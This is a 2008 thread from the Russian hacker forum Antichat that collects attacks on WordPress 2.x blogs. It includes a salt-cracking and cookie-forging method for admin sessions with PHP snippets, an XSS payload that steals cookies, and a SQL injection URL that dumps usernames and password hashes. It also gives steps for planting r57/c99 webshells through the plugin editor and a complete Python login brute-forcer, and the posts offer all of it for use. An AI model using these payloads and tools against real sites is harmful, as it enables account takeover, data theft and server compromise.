Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Wordpress 2.5 - Salt Cracking Vulnerability |

16.04.2008, 14:25
|
|
Banned
Регистрация: 05.12.2005
Сообщений: 982
Провел на форуме: 4839935
Репутация:
1202
|
|
Wordpress 2.5 - Salt Cracking Vulnerability
WORDPRESS 2.5 - SALT CRACKING VULNERABILITY
http://packetstormsecurity.org/0804-exploits/wp-saltcrack.txt
Описание уязвимости от Гемоглабина: _http://forum.antichat.ru/thread72534.html
==============================
Коротко по сути: если админ оставил пустым или дефолтным('put your unique phrase here') поле SECRET_KEY в конфигурационном файле, то становится возможным сгенерировать валидную админскую сессию.
Но для этого необходимо подобрать брутом значение соли(либо вытащить его непосредственно из бд черех SQL-inj).
Перебор всех возможных вариантов (62 символа, длина строки - 7мь символов) на одном ПС займет 113 дней по расчетам автора.
Прилагается специальный консольный брутер под никсы.
==============================
Важное дополнение
Дело в том что если вы имеете доступ к БД блога например через SQL-inj и SECRET_KEY пуст (или дефолтен) , то нам не требуется расшифровка паролей!
Достаточно получить значение wp_options.option_name = 'secret', а также взять любой Логин админа - и можно сгенерировать валидную админскую сессию.
пхп скрипт генерирующий куку прилагается
Последний раз редактировалось Elekt; 13.06.2008 в 08:57..
|
|
|

16.04.2008, 20:43
|
|
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме: 10605912
Репутация:
4693
|
|
Не уязвимость, но по теме ничего не нашёл. В общем, опеределение версии движка:
Заходим на http://site/wp-login.php, смотрим в исходник странички, видим там:
Код:
<link rel='stylesheet' href='http://site/wp-admin/wp-admin.css?version=2.5' type='text/css' />
После ?version=.. - версия движка.
З.Ы.
Наверняка есть и нормальные методы, просто нашёл навскидку.
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..
Мой блог: http://qwazar.ru/.
Последний раз редактировалось Qwazar; 18.04.2008 в 00:46..
|
|
|

02.05.2008, 00:39
|
|
Banned
Регистрация: 05.12.2005
Сообщений: 982
Провел на форуме: 4839935
Репутация:
1202
|
|
Wordpress Version
Сообщение от Qwazar
...теме ничего не нашёл... опеределение версии движка.. наверняка есть и нормальные методы...
Универсальный способ в 2.x версиях
http://localhost/wordpress/?feed=rss2&p=0
иногда надо поиграться с p= для выдачи.
|
|
|

04.05.2008, 00:00
|
|
Новичок
Регистрация: 03.05.2008
Сообщений: 15
Провел на форуме: 258071
Репутация:
24
|
|
Активная XSS в Blix Theme, которую сейчас часто ставят на WP.
Код:
http://site/index.php/%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
еще одна - Abuse of Functionality, действует как на старых версиях, так и на новой 2.5 - суть в том, что при вводе верного и неверного логина(при неверном пароле) движок выводит разное уведомление об ошибке, т.е. методом перебора возможно получить логины пользователей, которые потом использовать при брутфорсе.
Последний раз редактировалось exclus!ve; 04.05.2008 в 02:12..
|
|
|
Раскрытие данных в WordPress 2.0.3 |

13.05.2008, 23:08
|
|
Banned
Регистрация: 30.03.2007
Сообщений: 344
Провел на форуме: 5149122
Репутация:
2438
|
|
Раскрытие данных в WordPress 2.0.3
Сообщение об ошибку sql возвращает поситетяля назад,если указать неккоректное значение парметра paged можно получить данные о префиксе таблиц
Например:
Код:
http:// [host]/index.php?paged=-12
^^
|
|
|
Wordpress <= 2.5.1 Malicious File Execution Vulnerability |

20.05.2008, 20:35
|
|
Постоянный
Регистрация: 23.09.2007
Сообщений: 416
Провел на форуме: 1781065
Репутация:
869
|
|
Wordpress <= 2.5.1 Malicious File Execution Vulnerability
Wordpress <= 2.5.1 Malicious File Execution Vulnerability
Ну вобщем, вы можете загрузить вебшелл через аплоад, либо через редактор плагинов.
Вобщем-то об этом все и так знали =)
Код:
==========================================================
Wordpress Malicious File Execution Vulnerability
==========================================================
AUTHOR : CWH Underground
DATE : 18 May 2008
SITE : www.citecclub.org
#####################################################
APPLICATION : Wordpress Blog
VERSION : <= 2.5.1
VENDOR : http://wordpress.org/
DOWNLOAD : http://wordpress.org/download
#####################################################
DORK: N/A
---DESCRIPTION---
You must login into wordpress with Administrator Roles
1. Write Tabs - You can post title, contents and upload files. In Upload section, You can upload php script such as r57,c99,etc. into systems
and upload's file will appear in http://[target]/wp-content/uploads/[year]/[month]/file.php
2. If you can't upload your php script: Found message "File type does not meet security guidelines. Try another"
Dont Worry, Move to "plugins" Tabs and choose some plugins (Akismet, Hello Dolly) to EDIT it. Now you can add php script (r57/c99) into plugins edit section.
Finished it and Back to Plugins Tabs -> Click Active plugins then Get your SHELL....
Let's Fun...
---NOTE/TIP---
In Plugins Edit section, Use comment /* ... */ to keep plugins code before add shells.
##################################################################
Greetz: ZeQ3uL,BAD $ectors, Snapter, Conan, Win7dos, JabAv0C
##################################################################
Последний раз редактировалось Elekt; 20.05.2008 в 23:35..
|
|
|

22.05.2008, 01:26
|
|
Banned
Регистрация: 30.03.2007
Сообщений: 344
Провел на форуме: 5149122
Репутация:
2438
|
|
Wordpress Bruterorce
Код:
############# Source code #####################
#!usr/bin/python
# Flaw found on Wordpress
# that allow Dictionnary & Bruteforce attack
# Greetz goes to : NeoMorphS, Tiky
# Vendor : http://wordpress.org/
# Found by : Kad (kadfrox@gmail.com / #kadaj-diabolik@hotmail.fr)
import urllib , urllib2, sys, string
tab = "%s%s%s"%( string.ascii_letters, string.punctuation, string.digits )
tab = [ i for i in tab ]
def node( table, parent, size ):
if size == 0:
pass
else:
for c in table:
string = "%s%s"%( parent, c )
data = {'log': sys.argv[2],
'pwd': string}
print "[+] Testing : "+string
request = urllib2.Request(server, urllib.urlencode(data))
f = urllib2.urlopen(request).read()
if not "Incorrect password.</div>" in f: print "[!] Password is : "+mot ; break
node( table, string, size-1 )
def bruteforce( table, size ):
for c in table:
node( table, c, size-1 )
if (len(sys.argv) < 3):
print "Usage : float.py <server> <user> <choice> <dico-characters>"
print "\nDefault: User is 'admin'"
print "Choice : 1} Dictionnary Attack, use dictionnary file"
print " 2} Bruteforce Attack, use number of character for password"
else:
server = sys.argv[1]
if sys.argv[3] == "1":
a , b = open(sys.argv[4],'r') , 0
for lines in a: b = b + 1
a.seek(0)
c = 0
while (c < b):
mot = a.readline().rstrip()
data = {'log': sys.argv[2],
'pwd': mot}
print "[+] Testing : "+mot
request = urllib2.Request(server, urllib.urlencode(data))
f = urllib2.urlopen(request).read()
if not "Incorrect password.</div>" in f: print "[!] Password is : "+mot ; break
else: c = c + 1 ; pass
if sys.argv[3] == "2":
print "[-] Server is : "+server
print "[-] User is : "+sys.argv[2]
print "[-] Number of characters are : "+sys.argv[4]
number = int(sys.argv[4])
bruteforce( tab, number )
############## Source code #####################
The problem is : many time, the default user who is created is : admin, then you can try to crack the password, to stop that, you can use image confirmation or a limit for the connection (for example, only 5 tests).
To know if "admin" is the default user, you can try to go to the login page : http://site.com/wp-login.php and you try ; login : admin, pass : test (or anything else).
if "Wrong password" is printed on the page, the default user is admin, but if there is : "Wrong Username" then it's not the default password ;)
Kad'
|
|
|

30.05.2008, 03:13
|
|
Новичок
Регистрация: 09.08.2007
Сообщений: 3
Провел на форуме: 21001
Репутация:
7
|
|
Нигде не встречал описания подобного эксплоита. Решил поделиться, так ради забавы.
Неавторизированное чтение постов на Wordpress 2.2.0 - 2.3.1
http://blog.com/?x=wp-admin/
Показывает все посты предназначенные для администратора, также неопубликованные посты.
(c) MrJobson
|
|
|

04.06.2008, 23:51
|
|
Banned
Регистрация: 30.03.2007
Сообщений: 344
Провел на форуме: 5149122
Репутация:
2438
|
|
скуля
Код:
http://localhost/[path]/wp-uploadfile.php?f_id=[SQL]
SQL query:
Код:
null/**/union/**/all/**/select/**/concat(user_login,0x3a,user_pass)/**/from/**/wp_users/*
|
|
|
WordPress 2.5 Cookies Manipulation - Вход по md5() хешу пароля в куках |

03.06.2008, 19:26
|
|
Познающий
Регистрация: 12.11.2007
Сообщений: 70
Провел на форуме: 1214722
Репутация:
676
|
|
WordPress 2.5 Cookies Manipulation - Вход по md5() хешу пароля в куках
WordPress 2.3.1 Cookies Manipulation: _http://forum.antichat.ru/showpost.php?p=560997&postcount=23
WordPress 2.5 Cookies Manipulation: начало в _http://forum.antichat.ru/showpost.php?p=655556&postcount=52
================================
Проблемы с надежностью шифрования у вордпресса были всегда. Вспомним 2007 год, когда имея только аутенфикационные данные в виде связки логин и пароль, можно было зайти с администраторскими правами даже без перебора хеша этого пароля, а иньекций в блоге было предостаточно. Ввести элементарный секьюрити фикс не могли начиная с версии 1.5 до 2.3, когда было объявлено о выходе wordpress 2.5. Теперь сразу после инсталяции блога в базу записывается соль, с помощью который высчитывается хеш пароля, помещаемый в cookies юзера. Cookies юзера представляют из себя следующую конструкцию
"wordpress_".COOKIEHASH = USERNAME . "|" . EXPIRY_TIME . "|" . HMAC
COOKIEHASH md5 хеш от имени сайта
USERNAME Имя пользователя
EXPIRY_TIME Срок жизни cookies до того как они станут невалидными
HMAC представляет из себя хеш из USERNAME и EXPIRY_TIME, основанный на ключе, полученный путем преобразования USERNAME,EXPIRY_TIME и SALT, проще говоря формула такая
HMAC_KEY = HMAC md5(USERNAME.EXPIRY_TIME,SALT), HMAC = HMAC md5(USERNAME.EXPIRY_TIME,HMAC_KEY)
Для реализации атаки нам нужен зарегестрированный пользователь с любыми правами. После входа в контрольную панель мы получим наши cookies, которые будут нужны для получения соли. Так как соль для всех одна, то мы имея эту соль можем сгенерировать cookies для любого юзера, в том числе и админа. Посмотрим, как происходит аутенфикация в wordpress
PHP код:
function wp_validate_auth_cookie($cookie = '') {
........................
list($username, $expiration, $hmac) = explode('|', $cookie);
$expired = $expiration;
........................
if ( $expired < time() )
return false;
........................
$key = wp_hash($username . $expiration);
$hash = hash_hmac('md5', $username . $expiration, $key);
........................
if ( $hmac != $hash )
return false;
}
function wp_hash($data) {
$salt = wp_salt();
if ( function_exists('hash_hmac') ) {
return hash_hmac('md5', $data, $salt);
} else {
return md5($data . $salt);
}
}
Генерация хеша основывается лишь на юзернейме, сроке жизни кук и необходимом параметре - соль. Соль получается следующим образом
PHP код:
function wp_salt() {
........................
if ( empty($salt) ) {
$salt = wp_generate_password();
update_option('secret', $salt);
}
........................
}
function wp_generate_password() {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$length = 7;
$password = '';
for ( $i = 0; $i < $length; $i++ )
$password .= substr($chars, mt_rand(0, 61), 1);
return $password;
}
Как видим, она генерируется случайным образом из набора A-Za-z0-9, то есть общее число комбинаций 62^7, а именно 3521614606208. При неплохой скорости перебора в четыре милиона в секунду имеем 3521614606208 / 4000000 примерно десять дней перебора. Но вспоминаем, что у нас не обычный md5, а hmac. HMAC md5 завязан на ключе и хеширование происходит по формуле md5(key XOR opad, md5(key XOR ipad, text)), где ipad и opad - сгенерированные на основе ключа строки, полученные путем ксора (ipad = the byte 0x36 repeated 16 times, opad = the byte 0x5C repeated 16 times), то есть на перебор вместо изначальных десяти дней уйдет максимум месяц за счет операций с ключом и двойного вызова md5. Перебор должен происходить на основе уже готовых username, hmac и expired из наших cookies - hmac_md5(username . expired, hmac_md5(username . expired,SALT)) == hmac. После получения соли, воспользовавшись стандартными worpdress функциями получим cookies для админа. Enjoy.
PHP код:
$hmackey = hash_hmac('md5', 'admin' . '9999999999', $salt);
$hmacpass = hash_hmac('md5', 'admin' . '9999999999', $hmackey);
Спасибо +toxa+ и W[4H]LF за потраченное на меня время
шок (15:24:19 3/06/2008)
назовем - криптографическая атака на вордпресс
+toxa+ (15:24:34 3/06/2008)
Тебе хитровыебнуться надо?))
Последний раз редактировалось Elekt; 13.06.2008 в 09:22..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|